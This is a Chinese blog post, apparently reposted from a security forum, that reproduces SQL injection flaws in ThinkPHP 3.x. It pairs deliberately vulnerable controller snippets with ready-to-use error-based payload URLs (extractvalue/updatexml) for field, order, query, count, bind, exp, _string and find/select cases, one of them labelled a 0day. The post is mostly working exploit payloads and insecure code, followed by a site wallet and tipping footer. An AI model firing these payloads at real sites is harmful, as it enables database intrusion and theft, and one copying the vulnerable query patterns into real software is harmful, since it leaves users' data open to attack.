基于tp3的sql注入漏洞的复现

开发失误情况下的产生的SQL注入

1.field注入

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function fieldsql(){
        $table_name = I('GET.id') ? I('GET.id') : 1;
        $test = M('users')->field($table_name)->select();
        var_dump($test);
    }
}
payload:http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20from%20users%20where%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))%20--%20a

这里有个局限性就是需要知道字段的名字才能进行注入 这次我字段的名字是username

所以大家进行注入的时候可以搭配日志进行注入 在日志里面有相关的表和字段提供给我们进行注入~

剩下的
order注入 跟上面的操作一样

payload: http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a

comment注入 这里的注入我们需要先闭合前面的/*然后再进行注入再闭合后面的*/

payload : http://127.0.0.1/index.php/Home/Index/fieldsql?id=*/where%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a/*

group注入 注入的话 我们需要先用逗号进行分割 然后相同的操作进行注入

payload:http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a

having注入

payload:http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a

使用原生还不过滤的情况 query注入

    public function querysql(){
    	$id = I('GET.id') ? I('GET.id') : 1;
    	$test = M()->query('select * from users where id = ' . $id);
    	var_dump($test);
    	
    }

这个肯定都知道 M方法直接继承父类的操作 用query进行原生查询 拼接字符串 直接game over

payload:http://127.0.0.1/index.php/Home/Index/querysql?id=123%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a 

query和execute类似 都一样

统计查询外部可控制时造成的注入( Count,Max,Min,Avg,Sum )

    public function info(){
    	$test = I('test') ? I('test') : 1;
    	M('users') -> count($test);

    }
payload:http://127.0.0.1/index.php/Home/Index/info?test=1)%20from%20users%20where%20updatexml(1,concat(0x7e,(select%20user())),0)%20--%20a

其他的其实都差不多 只要开启了调试我们都可以根据其中的代码进行注入

即使使用了I函数也是不讲道理直接日穿型

实例代码

public function zxczxczxc(){
    $map['id'] = I('GET.id') ? I('GET.id') : 1;
    $data['username'] = 1;
    $c = M('users')->where($map)->save($data);
    var_dump($c);
}

payload:http://127.0.0.1/index.php/Home/Index/zxczxczxc?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,(select%20user())),0)

setField注入 跟上面差不多 就是用的是setField方法
payload:http://127.0.0.1/index.php/Home/Index/zxczxczxc?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,(select%20user())),0)

基本上使用了 exp的注入
实例代码:

public function test2(){
    $id = I('get.id');
    $map['id'] = array('exp',$id);
    $data = M('users')->where($map)->select();
    var_dump($data);
}

payload:http://127.0.0.1/index.php/Home/Index/test2?id=%3D1%20and%20updatexml(1,concat(0x7e,(select%20user())),0)

实例代码

public function test5(){
    $map['id'] = $_GET['id'];
    $data = M('users')->where($map)->select();
    var_dump($data);

}

payload:http://127.0.0.1/index.php/Home/Index/test5?id[0]=exp&id[1]=%20In%20(2)%20and%20updatexml(1,concat(0x7e,(select%20user())),0)

使用组合查询时的注入方式1 _string注入

实例代码:

    public function sqltetete(){
        $map['id'] = 2;
        $map['_string'] = I('get.test');
        M('users')->where($map)->select();
        
    }

payload:http://127.0.0.1/index.php/Home/Index/sqltetete?test=updatexml(1,concat(0x7e,(select%20user())),0)

0day thinkphp3.2 find/select/delete注入
实例代码

    public function asdasd(){
        $data = M('users')->find(I('get.test'));
        var_dump($data);

    }

payload:http://127.0.0.1/index.php/Home/Index/asdasd?test[where]=updatexml(1,concat(0x7e,(select%20user())),0)

来源:https://xz.aliyun.com/t/2630#toc-23

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值